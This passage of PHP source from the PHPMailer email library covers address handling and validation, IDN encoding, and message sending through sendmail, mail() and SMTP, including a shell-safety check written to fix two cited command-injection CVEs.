     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
